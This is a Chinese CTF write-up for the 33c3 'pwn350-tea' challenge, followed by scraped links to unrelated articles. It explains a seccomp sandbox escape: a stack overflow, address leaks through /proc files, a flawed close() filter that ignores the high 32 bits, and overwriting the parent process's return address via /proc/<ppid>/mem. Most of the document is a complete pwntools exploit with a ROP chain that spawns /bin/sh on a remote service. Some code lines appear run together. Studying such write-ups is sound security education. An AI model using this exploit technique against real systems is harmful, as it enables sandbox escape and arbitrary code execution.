33c3-pwn350-tea
TEA
感觉这个题目出得很不错。先运行程序了解基本功能,程序可以读取对系统上存在的文件的内容,如果文件不存在的话,直接退出。
使用IDA打开后,发现父进程通过clone api克隆出一个子进程,主要的功能都是子进程中实现的。子进程的栈是父进程通过mmap一段可读可写的内存所提供的,栈的地址是mmap的返回值加上一个随机数。子进程首先通过SECCOMP构建了一个小的沙盒,对进程允许的系统调用进行了限制,允许的系统调用包括:exit,exit_group,brk,read,lseek,open;close系统调用不允许close fd 0,1,2;write系统调用只允许写fd 1,2;使用的方式是prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter),在filter里放的是对系统调用的过滤,在调用prctl的时候,下断点可以把filter给dump下来,将https://github.com/seccomp/libseccomp编译,里面有工具可以将filter还原成代码的形式。
子进程的代码很简单,里面有几个栈溢出,但是由于程序并不正常返回,所以并不好用。虽说覆盖返回地址没什么用,但是可以覆盖局部变量,通过覆盖局部变量来进一步劫持程序的控制流。

在程序的34行,buf被赋值为input的地址,而input在栈上,所以buf是栈上的一个地址。在35行存在栈溢出,通过这个栈溢出,我们可以将栈上的局部变量比如buf,fd都给覆盖为想要覆盖的值,比如将fd溢出为0,buf溢出为任意想要写的地址的话,在45行可能就会存在一个任意地址写的漏洞。
这里有一个前提,就是不进入atoi(&input)>32的分支,如果atoi(&input)的返回值是0x80000000,那么就可以啦,下面read的时候就可以向任意地址从标准输入读取很多内容。但是在50行是close(fd),根据seccomp中限制了close不能close(0),所以如果将fd溢出为0的话,程序在50行会退出。
最初想的是让程序尝试去打开/proc/self/fd/0,这样fd理论上是3,而且read(3, buf, 0x7fffffff)实际上还是会从标准输入读取,这样的话,就可以任意地址写了。但是,发现本地可以,远程并不可以,我对比了下远程和本地/proc/self/fd/目录下的文件,发现是有区别的。


上面的是本地启动的,下面是xinetd启动的,因此陷入了困境。
赛后了解到两种方法,第一种:不溢出fd,而是溢出buf,然后一个字节一个字节得向buf里写,比如我们要修改malloc_hook为0xaabbccddeeffgghh,那么就现在一个文件里寻找0xhh字节,然后通过读这个文件,将0xaa写入到&malloc_hook里;然后在文件里寻找0xgg字节,然后通过读这个文件,将0xgg写入到&malloc_hook+1里,依次下去可以将malloc_hook修改为想要的值,进一步可以劫持控制流。第二种:因为我们可以通过读/proc/self/stat将栈基址泄露,这样可以将fd溢出为0,同时在45行返回的时候直接将read的返回地址修改从而劫持程序控制流,避免close(0)的时候出现错误。
劫持了控制流后,干什么呢?因为seccomp是对子进程的系统调用进行了限制,但是父进程并没有。第一步可以通过/proc/self/status泄露父进程的进程号,第二步通过/proc/parent_pid/stat泄露父进程的栈基址,父进程正在waitpid处等待子进程退出,所以可以泄露父进程waitpid返回地址在栈中的位置,第三步对父进程/proc/parent_pid/mem进行修改,修改父进程waitpid的返回地址,劫持父进程的控制流。因为seccomp限制了write系统调用只能向fd 1,2写,但是又限制了不能关闭fd 0,1,2,又陷入僵局。
仔细读了seccomp限制系统调用的代码后,发现对close系统调用的限制有bug,只要close的fd的高32位比特不为0,那么close系统调用就通过,而实际上,在close系统调用中是不会用到高32位比特的,所以close(0x100000002)和close(2)是一样的,而且能够通过seccomp的过滤。因此,我们就可以关闭标准错误fd 2,再打开/proc/parent_pid/mem,这个时候打开的fd 为2,这样就可以修改父进程的内存空间了,从而劫持父进程的控制流。因为父进程中并没有限制系统调用,因此可以任意得执行各种系统调用,比如system("/bin/sh"),顺利拿到shell。
如果想学着写seccomp来限制系统调用,看着两个链接就够了:https://eigenstate.org/notes/seccomp https://www.freebsd.org/cgi/man.cgi?bpf(4)
参考:https://david942j.blogspot.com/2016/09/write-up-tokyo-westernsmma-ctf-2nd-2016.html
https://github.com/ymgve/ctf-writeups/tree/master/33c3_ctf/pwn350-tea
http://charo-it.hatenablog.jp/entry/2017/01/01/022230

import re
from pwn import *
#by wah
#context.log_level = 'debug'
exe='tea'
libcpath = './libc.so.6'
local = 0 libcbase = 0
exebase = 0
mmapseg = 0 #mmap segment start for child stack random_addr = 0 #address of random in parent stack
random = 0 # random value libc = None
ppid = 0
parent_stack = 0 #parent stack addr
ret_from_waitpid = 0 #ret_from_waitpid is the addr where parent return address stay on parentstack
ret_from_read = 0 #overwrite ret_from_read to control flow hijack
child_stack = 0 #child stack addr, ie. mmapseg+random if local == 1:
ip = '127.0.0.1'
port = 10001
offset_setcontext_rdi = 0x47B75
libcpath = '/lib/x86_64-linux-gnu/libc-2.23.so'
else:
'''
ip = '104.155.105.0'
port = 14000
'''
ip = '127.0.0.1'
port = 10001
offset_setcontext_rdi = 0x46875
libcpath = './libc.so.6' print ip,port
r=remote(ip,port)
#r=process('./tea') def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def leakmap(start, count):
r.recvuntil('(r)ead or (w)rite access?')
r.sendline('r')
r.recvuntil('filename?')
r.sendline('/proc/self/maps')
r.recvuntil('lseek?')
r.sendline(str(start))
r.recvuntil('count?')
r.sendline(str(count))
r.recvuntil('bytes\n')
data = r.recvuntil('quit?')[:-5]
r.sendline('n')
return data def leakppid():
global ppid
r.recvuntil('(r)ead or (w)rite access?')
r.sendline('r')
r.recvuntil('filename?')
r.sendline('/proc/self/status')
r.recvuntil('lseek?')
r.sendline(str(0))
r.recvuntil('count?')
r.sendline(str(2000))
r.recvuntil('bytes\n')
data = r.recvuntil('quit?')[:-5]
for line in data.split("\n"):
if "PPid:" in line:
ppid = int(line.split()[1])
print "GOT PPID", ppid
r.sendline('n') def leakparentstack():
global parent_stack
global ret_from_waitpid
global random_addr
r.recvuntil('(r)ead or (w)rite access?')
r.sendline('r')
r.recvuntil('filename?')
r.sendline('/proc/%d/stat'%ppid)
r.recvuntil('lseek?')
r.sendline(str(0))
r.recvuntil('count?')
r.sendline(str(2000))
r.recvuntil('bytes\n')
data = r.recvuntil('quit?')[:-5]
parent_stack = int(data.split(' ')[27])
ret_from_waitpid = parent_stack-0x128
random_addr = parent_stack-0x108
log.info('leaked parent stack addr: %x'%parent_stack)
log.info('leaked random addr: %x'%random_addr)
log.info('leaked ret_from_waitpid addr: %x'%ret_from_waitpid)
r.sendline('n') def leakthings():
global libcbase
global exebase
global mmapseg
r = re.compile('([0-9a-f]+)-[0-9a-f]+')
data = leakmap(0,2000)
for i in data.split('\n'):
if "r-xp" in i and ("/lib64/libc-2.23.so" in i or "/lib/x86_64-linux-gnu/libc-2.19.so" in i):
f = r.match(i)
libcbase = int(f.groups()[0],16)
break
for i in data.split('\n'):
if i.find('/home/user/chal') != -1:
f = r.match(i)
exebase = int(f.groups()[0],16)
break
for i in data.split('\n'):
if 'rw-p' in i and 'stack' in i:
f = r.match(i)
mmapseg = int(f.groups()[0],16)
break
log.info('leaked libcbase: %x'%libcbase)
log.info('leaked exebase: %x'%exebase)
log.info('leaked mmapseg: %x'%mmapseg) def leakrandom():
global random
global ret_from_read
r.recvuntil('(r)ead or (w)rite access?')
r.sendline('r')
r.recvuntil('filename?')
r.sendline('/proc/%d/mem'%ppid)
r.recvuntil('lseek?')
r.sendline(str(random_addr))
r.recvuntil('count?')
r.sendline(str(9))
r.recvuntil('bytes\n')
data = r.recvuntil('quit?')[:-5]
random = u64(data)
child_stack = mmapseg + random
ret_from_read = child_stack - 0x68
log.info('leaked random: %x'%random)
log.info('leaked child_stack: %x'%child_stack)
r.sendline('n') def fuck():
raw_input('before leakppid')
leakppid()
raw_input('before leakparentstack')
leakparentstack()
raw_input('before leakthings')
leakthings()
raw_input('before leakrandom')
leakrandom() pop_rdi = exebase+0x24a3
pop_rsi_pop_r15 = exebase+0x24a1
exit_plt = exebase+0xB08
open_plt = exebase+0xAF8
read_plt = exebase+0xAA8
lseek_plt = exebase+0xA98
write_plt = exebase+0xA78
puts_plt = exebase+0xA68
gets_plt = exebase+0xAD0
close_plt = exebase+0xAA0
pop_rdx = libcbase+0x463a1
system = libcbase+0x43f40 data = ''.ljust(0x28,'\x00')
data += p64(0)
data += p64(0)
data += p64(ret_from_read) log.info('set breakpoint at %x'%pop_rdi)
raw_input('final')
r.recvuntil('(r)ead or (w)rite access?')
r.sendline('r')
r.recvuntil('filename?')
r.sendline('/bin/sh')
r.recvuntil('lseek?')
r.sendline(str(0))
r.recvuntil('count?')
r.sendline(data) rop = p64(pop_rdi) + p64(0x1000000000000002) + p64(close_plt)
writeable = mmapseg + random + 0x1000
rop += p64(pop_rdi) + p64(writeable) + p64(gets_plt)
rop += p64(pop_rdi) + p64(writeable) + p64(pop_rsi_pop_r15) + p64(2) + p64(0) + p64(open_plt)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_r15) + p64(writeable+0x1000)*2 + p64(pop_rdx) + p64(0x100) + p64(read_plt)
rop += p64(pop_rdi) + p64(2) + p64(pop_rsi_pop_r15) + p64(ret_from_waitpid)*2 + p64(pop_rdx) + p64(0) + p64(lseek_plt)
rop += p64(pop_rdi) + p64(2) + p64(pop_rsi_pop_r15) + p64(writeable+0x1000)*2 + p64(pop_rdx) + p64(0x100) + p64(write_plt)
rop += p64(exit_plt)
r.sendline(rop)
raw_input('')
r.sendline('/proc/%d/mem'%ppid)
data = p64(pop_rdi) + p64(ret_from_waitpid+0x20)+p64(system)+p64(exit_plt)+'/bin/sh\x00'
raw_input('')
r.sendline(data)
r.interactive()
#getpid()
fuck()
r.close()
33c3-pwn350-tea的更多相关文章
- TEA,XXTEA介绍,对称加密
总结:在使用加密的时候,我们可以加入随机数,这样相同的明文,每次加密后得到不同的密文,同时可以在密文中加入密文有效期,控制密文的有效时间长度. 针对有的功能扩展使用,很好的思想. TEA对 64 位数 ...
- TEA(Tiny Encryption Algorithm)
简介 TEA是一种简单高效的加解密算法,以速度快,实现简单著称.TEA算法每一次可以操作64-bit数据,采用128-bit作为key,算法采用迭代的形式,推荐的迭代轮数是64,最少32. 代码(默认 ...
- 2016 年青岛网络赛---Tea
题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=5881 Problem Description Tea is good. Tea is life. Te ...
- Codeforces Round #311 (Div. 2)B. Pasha and Tea 水题
B. Pasha and Tea Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/557/prob ...
- HDU 5881 Tea
Tea Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submiss ...
- 【置换,推理】UVa 1315 - Creaz tea party
Dsecription n participants of «crazy tea party» sit around the table. Each minute one pair of neighb ...
- QQ协议的TEA加解密算法
QQ通讯协议里的加解密算法. #include <stdio.h> #include <stdlib.h> #include <memory.h> #include ...
- TEA算法
我们要讨论的最后一个分组密码加密算法是TEA(Tiny Encryption Algorithm).到目前为止,我们在前面所呈现的连线图可能会使你得出如下结论:分组密码加密算法必须是复杂的.TEA却能 ...
- 利用TEA算法进行数据加密
TEA(Tiny Encryption Algorithm)是一种小型的对称加密解密算法,最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计. ...
- TEA加密算法的文件加密和解密的实现
一.TEA加密算法简介 TEA加密算法是由英国剑桥大学计算机实验室提出的一种对称分组加密算法.它采用扩散和混乱方法,对64位的明文数据块,用128位密钥分组进行加密,产生64位的密文数据块,其循环轮数 ...
随机推荐
- MVC学习四
第七节 讲述了增加model中类的属性,由于数据库中已存在表,表中没有存在新加的列,所以可以删除数据库或者在数据库中新增一列,另可以在controller中新增一个数据库初始化的类,并在Globa ...
- Tomcat6+nginx集群,达到负载均衡和session复制
nginx+tomcat做web项目集群,达到负载均衡.故障转移.session复制功能. 1.nginx配置文件见上一篇“nginx配置文件(反向代理+集群+动静分离)” 2.tomcat集群,修改 ...
- jquery select三级联动
需求:对地区进行选择,选择相应的省,就会出现相应范围的市,然后出现相应的范围的县区:如果县不存在,就不现实,自我要求是自己写个简单的插件,方便以后调用: 逻辑:1.通过div的类名来获取,其下的sel ...
- [Mugeda HTML5技术教程之12]制作跨屏互动应用
mugeda动画平台还可以用来制作跨屏互动的动画应用,比如在PC端的大屏幕上显示动画的主界面,同时会显示出供手机扫描的二维码,手机扫描后会在手机上显示手机端动画界面.通过手机就可以和PC端的显示界面跨 ...
- Linux下的正则表达式(基础)
grep -n 'the' text.txt 搜寻含有the的部分(n代表现实显示行号) grep -vn 'the' text.txt 搜寻不含有the的部分(n代表现实显示行号) grep -vn ...
- Servlet接收JSP参数乱码问题解决办法
转自:http://lavasoft.blog.51cto.com/62575/274527/ 环境: apache-tomcat-6.0.24.zip jdk1.6.0_16 WindosXP ...
- Scala学习文档-列表的使用
注:列表是不可变的,不能通过赋值改变列表的元素 列表具有递归结构,数组是连续的 scala里的列表类型是协变的? --> scala中的逆变与协变 分治原则 //自定义实现:::操作符 def ...
- /users/products.:format 这种写法的其对应解析字符写法
“products.:format" 这种写法可以有对应的下面两种路由形式 /products.json /products.xml "products.:format?" ...
- FATAL:NO bootable medium found!System halted.
问题描述:致命错误,没有可引导的媒体.系统挂起.以下是在网上查的: 1:检查硬盘的类型,ide或sata接口是否在0,0或是在1,0. 2:光驱是否选择iso文件. 3:iso文件是否损坏4:virt ...
- 深入浅出Node.js (5) - 内存控制
5.1 V8的垃圾回收机制与内存限制 5.1.1 Node与V8 5.1.2 V8的内存限制 5.1.3 V8的对象分配 5.1.4 V8的垃圾回收机制 5.1.5 查看垃圾回收日志 5.2 高效使用 ...